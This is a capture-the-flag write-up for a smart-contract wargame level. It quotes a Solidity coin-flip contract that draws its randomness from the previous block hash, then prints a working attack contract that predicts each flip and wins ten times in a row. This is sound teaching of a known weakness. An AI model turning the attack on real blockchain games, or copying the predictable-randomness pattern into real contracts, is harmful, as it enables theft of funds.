# Description
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help

- See the Help page above, section "Beyond the console"

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

# Notes

- Reading the task description and basing on the fact that smart contract executing is deterministic, I started the challenge with the impression that it will simply be a reversing challenge.
But you can notice that the outcome of the `flip` function is based on the hash of the previous block.

- One other "possible" solution is to guess the 10 coin flips which should have a probability of `(1/2)^10` which is pretty anoying to just keep on guessing.

- We can drop our probability of guessing owning the contract down to `1/2` by simply submitting our guess by signing 10 transactions at once which will result in the transaction being added to the same block and having the same block hash thus same coin output, but unfortunatly this case is handled by the developer by saving the previous hash of the block in a variable `lastHash` to prevent this workarround.

- Given the fact that our guess is dependant on the hash of the previous block, it becomes obvious that our goal here is to write an attack smart contract that will help us win this.

- The attack contract is fairly easy, and it looks something like this (the address of our target contract used here in the constructor of the attack contract can be gotten using the command : `contract.address`) :
```solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

interface ICoinFlipChallenge {
    function flip(bool _guess) external returns (bool);
}

contract AttackContract {

    ICoinFlipChallenge public challenge;

    constructor() {
        challenge = ICoinFlipChallenge(0x134AE2C83EcD0fa59aCb4A08be87f07410e72d09);
    }

    function attack() external payable {
        // simulate the same what the challenge contract does
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        bool side = coinFlip == 1 ? true : false;

        // call challenge contract with same guess
        challenge.flip(side);

    }

}
```

- After calling the `attack` function of our attack contract 10 times, we can verify that it worked using `await contract.consecutiveWins()`